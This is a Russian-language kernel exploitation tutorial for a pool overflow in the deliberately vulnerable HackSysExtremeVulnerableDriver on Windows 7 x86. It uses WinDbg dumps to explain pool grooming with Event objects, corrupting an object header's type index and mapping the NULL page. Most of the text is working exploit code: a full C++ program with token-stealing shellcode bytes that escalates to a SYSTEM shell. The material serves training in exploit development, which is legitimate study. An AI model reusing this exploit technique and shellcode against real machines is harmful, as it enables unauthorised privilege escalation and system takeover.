kd> dd nt!ObTypeIndexTable
82761ee0  00000000 bad0b0b0 84ec7860 84ec7798
82761ef0  84ec76d0 84ec74a0 84ec7360 84ec7298
82761f00  84ec71d0 84ecef78 84eceeb0 84ece818
82761f10  84f60418 84f60350 84f61418 84f61350
82761f20  84f5f3f0 84f5f328 84f629b8 84f628f0
82761f30  84f62828 84f62760 84f62698 84f625d0
82761f40  84f62508 84f62440 84f62378 84f63040
82761f50  84f63f78 84f63bd8 84f63b10 84f63a48

kd> dd nt!ObTypeIndexTable+0xC*4 L1
82761f10  84f60418

kd> dt nt!_OBJECT_TYPE 84f60418 -b
   +0x000 TypeList         : _LIST_ENTRY [ 0x84f60418 - 0x84f60418 ]
      +0x000 Flink            : 0x84f60418 
      +0x004 Blink            : 0x84f60418 
   +0x008 Name             : _UNICODE_STRING "Event"
      +0x000 Length           : 0xa
      +0x002 MaximumLength    : 0xc
      +0x004 Buffer           : 0x8cc08a88  "Event"
   +0x010 DefaultObject    : (null) 
   +0x014 Index            : 0xc ''
   +0x018 TotalNumberOfObjects : 0x5043
   +0x01c TotalNumberOfHandles : 0x506e
   +0x020 HighWaterNumberOfObjects : 0x5e7b
   +0x024 HighWaterNumberOfHandles : 0x5ea6
   +0x028 TypeInfo         : _OBJECT_TYPE_INITIALIZER
      +0x000 Length           : 0x50
      +0x002 ObjectTypeFlags  : 0 ''
      +0x002 CaseInsensitive  : 0y0
      +0x002 UnnamedObjectsOnly : 0y0
      +0x002 UseDefaultObject : 0y0
      +0x002 SecurityRequired : 0y0
      +0x002 MaintainHandleCount : 0y0
      +0x002 MaintainTypeList : 0y0
      +0x002 SupportsObjectCallbacks : 0y0
      +0x002 CacheAligned     : 0y0
      +0x004 ObjectTypeCode   : 2
      +0x008 InvalidAttributes : 0x100
      +0x00c GenericMapping   : _GENERIC_MAPPING
         +0x000 GenericRead      : 0x20001
         +0x004 GenericWrite     : 0x20002
         +0x008 GenericExecute   : 0x120000
         +0x00c GenericAll       : 0x1f0003
      +0x01c ValidAccessMask  : 0x1f0003
      +0x020 RetainAccess     : 0
      +0x024 PoolType         : 0 ( NonPagedPool )
      +0x028 DefaultPagedPoolCharge : 0
      +0x02c DefaultNonPagedPoolCharge : 0x40
      +0x030 DumpProcedure    : (null) 
      +0x034 OpenProcedure    : (null) 
      +0x038 CloseProcedure   : (null) 
      +0x03c DeleteProcedure  : (null) 
      +0x040 ParseProcedure   : (null) 
      +0x044 SecurityProcedure : 0x8288532c 
      +0x048 QueryNameProcedure : (null) 
      +0x04c OkayToCloseProcedure : (null) 
   +0x078 TypeLock         : _EX_PUSH_LOCK
      +0x000 Locked           : 0y0
      +0x000 Waiting          : 0y0
      +0x000 Waking           : 0y0
      +0x000 MultipleShared   : 0y0
      +0x000 Shared           : 0y0000000000000000000000000000 (0)
      +0x000 Value            : 0
      +0x000 Ptr              : (null) 
   +0x07c Key              : 0x6e657645
   +0x080 CallbackList     : _LIST_ENTRY [ 0x84f60498 - 0x84f60498 ]
      +0x000 Flink            : 0x84f60498 
      +0x004 Blink            : 0x84f60498 

По оффсет 0x28 находится структура TypeInfo. Один из её членов ClosePorcedure по оффсету 0x38. Начиная с оффсета 0x0, на который ссылается указатель OBJECT_TYPE, который мы нашли в таблице, CloseProcedure находится по 0x28 + 0x38 = 0x60. ЭТО указатель на функцию, которая будет вызвана при вызове CloseHandle, чтобы освободить Event Objects из невыгружаемого пула памяти. Это наша цель

Pool attack structure

Когда мы особождаем чанк с помощью CloseHandle, ядро идёт по адресу, на который ссылается значение массива по индексу 0xC и ищет по оффсету 0x60 указатель на функцию, вызывая её.

kd> dd nt!ObTypeIndexTable
82761ee0  00000000 bad0b0b0 84ec7860 84ec7798

Первый указатель - это 0x0 и мы из ещё не сделанный урок знаем, что мы можем мапить NULL страницу в Windows 7 x86. Итак, благодаря вышеупомянутым блогерам, наш дальнейший путь ясен. Мы корраптим только значение 0xC внутри OBJECT_HEADER, чтобы вместо него было установлено 0x0. Все остальное мы оставим как есть с помощью перезаписи. Таким образом, когда мы освободим этот кусок, ядро начнет искать смещение 0x60 для указателя функции с 0x000000. Поэтому мы просто отобразим страницу NULL и поместим указатель на наш шеллкод по смещению 0x60.

Выполняем план

Делаем дыры в блоке, чтобы наш буфер расположился там между Event Objects. Мы знаем, что для 0x200 дырки наш нужно освободить 8 объектов, следуя @FuzzySec будем освобождать 8 хендлов Event Objects каждые 0x16 хендлов в нашем векторе.

#include <iostream>
#include <vector>
#include <Windows.h>

using namespace std;

#define DEVICE_NAME         "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL               0x22200F

vector<HANDLE> defragment_handles;
vector<HANDLE> sequential_handles;

int main() {

    HANDLE hFile = CreateFileA(DEVICE_NAME,
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        cout << "[!] No handle to HackSysExtremeVulnerableDriver\n";
        exit(1);
    }

    cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: " << hex << hFile << "\n";





    cout << "[>] Spraying pool to defragment...\n";
    for (int i = 0; i < 10000; i++) {

        HANDLE result = CreateEvent(NULL, 0, 0, L"");

        if (!result) {
            cout << "[!] Error allocating Event Object during defragmentation\n";
            exit(1);
        }

        defragment_handles.push_back(result);
    }
    cout << "[>] Defragmentation spray complete.\n";
    cout << "[>] Spraying sequential allocations...\n";

    for (int i = 0; i < 10000; i++) {

        HANDLE result = CreateEvent(NULL, 0, 0, L"");

        if (!result) {
            cout << "[!] Error allocating Event Object during sequential.\n";
            exit(1);
        }

        sequential_handles.push_back(result);
    }

    cout << "[>] Sequential spray complete.\n";

    cout << "[>] Poking 0x200 byte-sized holes in our sequential allocation...\n";
    for (int i = 0; i < sequential_handles.size(); i = i + 0x16) {
        for (int x = 0; x < 8; x++) {
            BOOL freed = CloseHandle(sequential_handles[i + x]);
            if (freed == false) {
                cout << "[!] Unable to free sequential allocation!\n";
                cout << "[!] Last error: " << GetLastError() << "\n";
            }
        }
    }
    cout << "[>] Holes poked lol.\n";





    ULONG payload_len = 0x1F8;

    LPVOID input_buff = VirtualAlloc(NULL,
        payload_len + 0x1,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE);

    memset(input_buff, '\x41', payload_len);

    cout << "[>] Sending buffer size of: " << dec << payload_len << "\n";

    DWORD bytes_ret = 0;

    int result = DeviceIoControl(hFile,
        IOCTL,
        input_buff,
        payload_len,
        NULL,
        0,
        &bytes_ret,
        NULL);

    if (!result) {

        cout << "[!] DeviceIoControl failed!\n";

    }

    return 0;
}

Вернёмся к чуть ранее показанному дампу

kd> !pool 0x8513C8C8
Pool page 8513c8c8 region is Unknown
 8513c000 size:  388 previous size:    0  (Free )  XSav
 8513c388 size:  438 previous size:  388  (Free)       ....
 8513c7c0 size:   40 previous size:  438  (Allocated)  Even (Protected)
 8513c800 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513c840 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513c880 size:   40 previous size:   40  (Allocated)  Even (Protected)
*8513c8c0 size:  200 previous size:   40  (Allocated) *Hack
        Owning component : Unknown (update pooltag.txt)
 8513cac0 size:   40 previous size:  200  (Allocated)  Even (Protected)
 8513cb00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cb40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cb80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cbc0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cc00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cc40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cc80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513ccc0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cd00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cd40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cd80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cdc0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513ce00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513ce40 size:  1c0 previous size:   40  (Free)       Even

Наш аллокцированный чанк лежит ровно между объектами, которые мы сами создали

Портим память

Теперь, когда мы контролируем пул с достаточно предсказуемой манере, время перезаписать тут индекс и изменить его на 0x0 с 0xC. Всё остальное между нашей 0x200 аллокацией и этим байтом должно остаться таким же, иначе БСОД.

Давайте просто воспользуемся командой dd, чтобы сдампить 32 значения DWORD из начала Event Objects сразу после нашего буфера ядра.

kd> dd 8513cac0
ReadVirtual: 8513cac0 not properly sign extended
8513cac0  04080040 ee657645 00000000 00000040
8513cad0  00000000 00000000 00000001 00000001
8513cae0  00000000 0008000c 86e7f640 00000000
8513caf0  ff040001 00000000 8513caf8 8513caf8
8513cb00  04080008 ee657645 00000000 00000040
8513cb10  00000000 00000000 00000001 00000001
8513cb20  00000000 0008000c 86e7f640 00000000
8513cb30  ff040001 00000000 8513cb38 8513cb38

Окей, нам нужно сохранить всё, как есть кроме 0xC и перезаписать этот байт нулём. Мы перезаписываем 40 байтов или 0x28, что даёт нам буфер размером 0x220

 ULONG payload_len = 0x220;

    BYTE* input_buff = (BYTE*)VirtualAlloc(NULL,
        payload_len + 0x1,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE);

    BYTE overwrite_payload[] = (
        "\x40\x00\x08\x04"  // pool header
        "\x45\x76\x65\xee"  // pool tag
        "\x00\x00\x00\x00"  // obj header quota begin
        "\x40\x00\x00\x00"
        "\x00\x00\x00\x00"
        "\x00\x00\x00\x00"  // obj header quota end
        "\x01\x00\x00\x00"  // obj header begin
        "\x01\x00\x00\x00"
        "\x00\x00\x00\x00"
        "\x00\x00\x08\x00" // 0xc converted to 0x0
        );

    memset(input_buff, '\x42', 0x1F8);
    memcpy(input_buff + 0x1F8, overwrite_payload, 0x28)

Нам нужно аллоцировать NULL страницу, что взято у tekwizzz123

typedef NTSTATUS(WINAPI *_NtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T AllocationSize,
    ULONG AllocationType,
    ULONG Protect
);

void allocate_shellcode() {

    _NtAllocateVirtualMemory NtAllocateVirtualMemory = 
        (_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"),
            "NtAllocateVirtualMemory");

    INT64 address = 0x1;
    int size = 0x100;

    HANDLE result = (HANDLE)NtAllocateVirtualMemory(
        GetCurrentProcess(),
        (PVOID*)&address,
        NULL,
        (PSIZE_T)&size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    if (result == INVALID_HANDLE_VALUE) {
        cout << "[!] Unable to allocate NULL page...wtf?\n";
        cout << "[!] Last error: " << dec << GetLastError() << "\n";
        exit(1);
    }
    cout << "[>] NULL page mapped.\n";
    cout << "[>] Putting 'AAAA' on NULL page...\n";

    memset((void*)0x0, '\x41', 0x100);

}

Также заполним NULL страницу \x42 значениями, чтобы, запустив этот код, мы получили Access Violation со значением 0x42424242 в eip

И последнее, нам нужно освободить наши чанки, чтобы активировалась CloseProcedure

void free_chunks() {

    cout << "[>] Freeing defragmentation allocations...\n";
    for (int i = 0; i < defragment_handles.size(); i++) {

        BOOL freed = CloseHandle(defragment_handles[i]);
        if (freed == false) {
            cout << "[!] Unable to free defragment allocation!\n";
            cout << "[!] Last error: " << GetLastError() << "\n";
            exit(1);
        }
    }
    cout << "[>] Defragmentation allocations freed.\n";
    cout << "[>] Freeing sequential allocations...\n";
    for (int i = 0; i < sequential_handles.size(); i++) {

        BOOL freed = CloseHandle(sequential_handles[i]);
        if (freed == false) {
            cout << "[!] Unable to free defragment allocation!\n";
            cout << "[!] Last error: " << GetLastError() << "\n";
            exit(1);
        }
    }
    cout << "[>] Sequential allocations freed.\n";
}

Где-то здесь я пришёл к выводу, что его код всё-таки хороший и идея раскидать всё по функция стоит того))))

kd> g
Breakpoint 0 hit
HEVD!TriggerPoolOverflow:
a815b12a 6a14            push    14h
kd> g
Breakpoint 1 hit
HEVD!TriggerPoolOverflow+0xe6:
a815b210 686cc315a8      push    offset HEVD! ?? ::NNGAKEGL::`string' (a815c36c)
kd> g
Access violation - code c0000005 (!!! second chance !!!)
41414141 ??              ???

Видим, что 0xC поменялся на 0x0

kd> db 8756dd40-8
ReadVirtual: 8756dd38 not properly sign extended
8756dd38  42 42 42 42 42 42 42 42-40 00 08 04 45 76 65 ee  BBBBBBBB@...Eve.
8756dd48  00 00 00 00 40 00 00 00-00 00 00 00 00 00 00 00  ....@...........
8756dd58  01 00 00 00 01 00 00 00-00 00 00 00 ->00<- 00 08 00  ................
8756dd68  40 b2 eb 86 00 00 00 00-01 00 04 00 00 00 00 00  @...............
8756dd78  78 dd 56 87 78 dd 56 87-08 00 08 04 45 76 65 ee  x.V.x.V.....Eve.
8756dd88  00 00 00 00 40 00 00 00-00 00 00 00 00 00 00 00  ....@...........
8756dd98  01 00 00 00 01 00 00 00-00 00 00 00 0c 00 08 00  ................
8756dda8  40 b2 eb 86 00 00 00 00-01 00 04 00 00 00 00 00  @...............
kd> dd 0x00000000
00000000  41414141 41414141 41414141 41414141
00000010  41414141 41414141 41414141 41414141

Шеллкод

kd> k
 # ChildEBP RetAddr      
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 a9f93ae8 82886565     0x41414141
01 a9f93b38 828b54a7     nt!ObpCloseHandleTableEntry+0x6d
02 a9f93b68 8289d617     nt!ExSweepHandleTable+0x5f
03 a9f93b88 828aa467     nt!ObKillProcess+0x54
04 a9f93bfc 8289d0fa     nt!PspExitThread+0x5e4
05 a9f93c24 82679e06     nt!NtTerminateProcess+0x12e
    <Intermediate frames may have been skipped due to lack of complete unwind>
06 a9f93c24 77ab6c74 (T) nt!KiSystemServicePostCall
    <Intermediate frames may have been skipped due to lack of complete unwind>
07 0030f9b0 7754be67 (T) 0x77ab6c74
08 0030f9c4 6e33603d     0x7754be67
09 0030fa18 6e3361b1     0x6e33603d
0a 0030fa24 00021a10     0x6e3361b1
0b 0030fa40 00021a57     0x21a10
0c 0030fa4c 00023007     0x21a57
0d 0030fa94 7753ef8c     0x23007
0e 0030faa0 77ad367a     0x7753ef8c
0f 0030fae0 77ad364d     0x77ad367a
10 0030faf8 00000000     0x77ad364d

8288650d 0fb64e0c        movzx   ecx,byte ptr [esi+0Ch]
82886511 8b1c8de02e7882  mov     ebx,dword ptr nt!ObTypeIndexTable (82782ee0)[ecx*4]
82886518 57              push    edi
82886519 648b3d24010000  mov     edi,dword ptr fs:[124h]
82886520 837b7400        cmp     dword ptr [ebx+74h],0
82886524 8d4e18          lea     ecx,[esi+18h]
82886527 894c2414        mov     dword ptr [esp+14h],ecx
8288652b c644241300      mov     byte ptr [esp+13h],0
82886530 0f8497000000    je      nt!ObpCloseHandleTableEntry+0xd5 (828865cd)
82886536 648b0d24010000  mov     ecx,dword ptr fs:[124h]
8288653d 8b4510          mov     eax,dword ptr [ebp+10h]
82886540 394150          cmp     dword ptr [ecx+50h],eax
82886543 7410            je      nt!ObpCloseHandleTableEntry+0x5d (82886555)
82886545 8d4c2420        lea     ecx,[esp+20h]
82886549 51              push    ecx
8288654a 50              push    eax
8288654b e8c71ce5ff      call    nt!KeStackAttachProcess (826d8217)
82886550 c644241301      mov     byte ptr [esp+13h],1
82886555 ff7518          push    dword ptr [ebp+18h]
82886558 ff7514          push    dword ptr [ebp+14h]
8288655b ff74241c        push    dword ptr [esp+1Ch]
8288655f ff7510          push    dword ptr [ebp+10h]
82886562 ff5374          call    dword ptr [ebx+74h]
82886565 84c0            test    al,al
82886567 7561            jne     nt!ObpCloseHandleTableEntry+0xd2 (828865ca)


Видим пуши, которые нужно будет компенсировать попом в конце шеллкода

kd> dd 0x0
00000000  00000000 00000000 00000000 00000000
00000010  00000000 00000000 00000000 00000000
00000020  00000000 00000000 00000000 00000000
00000030  00000000 00000000 00000000 00000000
00000040  00000000 00000000 00000000 00000000
00000050  00000000 00000000 00000000 00000000
00000060  00060000 00000000 00000000 00000000
00000070  00000000 00000000 00000000 00000000
kd> u 00060000 L15
00060000 60              pushad
00060001 64a124010000    mov     eax,dword ptr fs:[00000124h]
00060007 8b4050          mov     eax,dword ptr [eax+50h]
0006000a 89c1            mov     ecx,eax
0006000c 8b98f8000000    mov     ebx,dword ptr [eax+0F8h]
00060012 ba04000000      mov     edx,4
00060017 8b80b8000000    mov     eax,dword ptr [eax+0B8h]
0006001d 2db8000000      sub     eax,0B8h
00060022 3990b4000000    cmp     dword ptr [eax+0B4h],edx
00060028 75ed            jne     00060017
0006002a 8b90f8000000    mov     edx,dword ptr [eax+0F8h]
00060030 8991f8000000    mov     dword ptr [ecx+0F8h],edx
00060036 61              popad
00060037 c21000          ret     10h
0006003a 0000            add     byte ptr [eax],al
0006003c 0000            add     byte ptr [eax],al
0006003e 0000            add     byte ptr [eax],al
00060040 0000            add     byte ptr [eax],al
00060042 0000            add     byte ptr [eax],al
00060044 0000            add     byte ptr [eax],al
00060046 0000            add     byte ptr [eax],al

cmd screen

Полный код

#include <iostream>
#include <vector>
#include <Windows.h>

using namespace std;

#define DEVICE_NAME         "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL               0x22200F

typedef NTSTATUS(WINAPI* _NtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T AllocationSize,
    ULONG AllocationType,
    ULONG Protect
    );

vector<HANDLE> defragment_handles;
vector<HANDLE> sequential_handles;

HANDLE grab_handle() {

    HANDLE hFile = CreateFileA(DEVICE_NAME,
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        cout << "[!] No handle to HackSysExtremeVulnerableDriver\n";
        exit(1);
    }

    cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: " << hex
        << hFile << "\n";

    return hFile;
}

void spray_pool() {

    cout << "[>] Spraying pool to defragment...\n";
    for (int i = 0; i < 10000; i++) {

        HANDLE result = CreateEvent(NULL,
            0,
            0,
            L"");

        if (!result) {
            cout << "[!] Error allocating Event Object during defragmentation\n";
            exit(1);
        }

        defragment_handles.push_back(result);
    }
    cout << "[>] Defragmentation spray complete.\n";
    cout << "[>] Spraying sequential allocations...\n";
    for (int i = 0; i < 10000; i++) {

        HANDLE result = CreateEvent(NULL,
            0,
            0,
            L"");

        if (!result) {
            cout << "[!] Error allocating Event Object during sequential.\n";
            exit(1);
        }

        sequential_handles.push_back(result);
    }

    cout << "[>] Sequential spray complete.\n";

    cout << "[>] Poking 0x200 byte-sized holes in our sequential allocation...\n";
    for (int i = 0; i < sequential_handles.size(); i = i + 0x16) {
        for (int x = 0; x < 8; x++) {
            BOOL freed = CloseHandle(sequential_handles[i + x]);
            if (freed == false) {
                cout << "[!] Unable to free sequential allocation!\n";
                cout << "[!] Last error: " << GetLastError() << "\n";
                exit(1);
            }
        }
    }
    cout << "[>] Holes poked lol.\n";
}

void allocate_shellcode() {

    _NtAllocateVirtualMemory NtAllocateVirtualMemory =
        (_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"),
            "NtAllocateVirtualMemory");

    INT64 address = 0x1;
    int size = 0x100;

    HANDLE result = (HANDLE)NtAllocateVirtualMemory(
        GetCurrentProcess(),
        (PVOID*)&address,
        NULL,
        (PSIZE_T)&size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    if (result == INVALID_HANDLE_VALUE) {
        cout << "[!] Unable to allocate NULL page...wtf?\n";
        cout << "[!] Last error: " << dec << GetLastError() << "\n";
        exit(1);
    }
    cout << "[>] NULL page mapped.\n";
    cout << "[>] Placing pointer to shellcode on NULL page at offset 0x60...\n";

    BYTE shellcode[] = (
        "\x60"
        "\x64\xA1\x24\x01\x00\x00"
        "\x8B\x40\x50"
        "\x89\xC1"
        "\x8B\x98\xF8\x00\x00\x00"
        "\xBA\x04\x00\x00\x00"
        "\x8B\x80\xB8\x00\x00\x00"
        "\x2D\xB8\x00\x00\x00"
        "\x39\x90\xB4\x00\x00\x00"
        "\x75\xED"
        "\x8B\x90\xF8\x00\x00\x00"
        "\x89\x91\xF8\x00\x00\x00"
        "\x61"
        "\xC2\x10\x00"  // ret 0x10
        );

    LPVOID shellcode_addr = VirtualAlloc(NULL,
        sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    memcpy(shellcode_addr, shellcode, sizeof(shellcode));

    memset((void*)0x0, '\x00', 0x100);
    memcpy((void*)0x60, (void*)&shellcode_addr, 0x4);
}

void send_payload(HANDLE hFile) {

    ULONG payload_len = 0x220;

    BYTE* input_buff = (BYTE*)VirtualAlloc(NULL,
        payload_len + 0x1,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE);

    BYTE overwrite_payload[] = (
        "\x40\x00\x08\x04"  // pool header
        "\x45\x76\x65\xee"  // pool tag
        "\x00\x00\x00\x00"  // obj header quota begin
        "\x40\x00\x00\x00"
        "\x00\x00\x00\x00"
        "\x00\x00\x00\x00"  // obj header quota end
        "\x01\x00\x00\x00"  // obj header begin
        "\x01\x00\x00\x00"
        "\x00\x00\x00\x00"
        "\x00\x00\x08\x00" // 0xc converted to 0x0
        );

    memset(input_buff, '\x41', 0x1F8);
    memcpy(input_buff + 0x1F8, overwrite_payload, 0x28);

    cout << "[>] Sending buffer size of: " << dec << payload_len << "\n";

    DWORD bytes_ret = 0;

    int result = DeviceIoControl(hFile,
        IOCTL,
        input_buff,
        payload_len,
        NULL,
        0,
        &bytes_ret,
        NULL);

    if (!result) {

        cout << "[!] DeviceIoControl failed!\n";
    }
}

void free_chunks() {

    cout << "[>] Freeing defragmentation allocations...\n";
    for (int i = 0; i < defragment_handles.size(); i++) {

        BOOL freed = CloseHandle(defragment_handles[i]);
        if (freed == false) {
            //cout << "[!] Unable to free defragment allocation!\n";
            //cout << "[!] Last error: " << GetLastError() << "\n";
            //exit(1);
        }
    }
    cout << "[>] Defragmentation allocations freed.\n";
    cout << "[>] Freeing sequential allocations...\n";
    for (int i = 0; i < sequential_handles.size(); i++) {

        BOOL freed = CloseHandle(sequential_handles[i]);
        if (freed == false) {
            //cout << "[!] Unable to free defragment allocation!\n";
            //cout << "[!] Last error: " << GetLastError() << "\n";
            //exit(1);
        }
    }
    cout << "[>] Sequential allocations freed.\n";
}

void spawn_shell() {

    cout << "[>] Spawning nt authority/system shell...\n";

    PROCESS_INFORMATION pi;
    ZeroMemory(&pi, sizeof(pi));

    STARTUPINFOA si;
    ZeroMemory(&si, sizeof(si));

    CreateProcessA("C:\\Windows\\System32\\cmd.exe",
        NULL,
        NULL,
        NULL,
        0,
        CREATE_NEW_CONSOLE,
        NULL,
        NULL,
        &si,
        &pi);
}

int main() {

    HANDLE hFile = grab_handle();

    spray_pool();

    allocate_shellcode();

    send_payload(hFile);

    free_chunks();

    spawn_shell();

    return 0;
}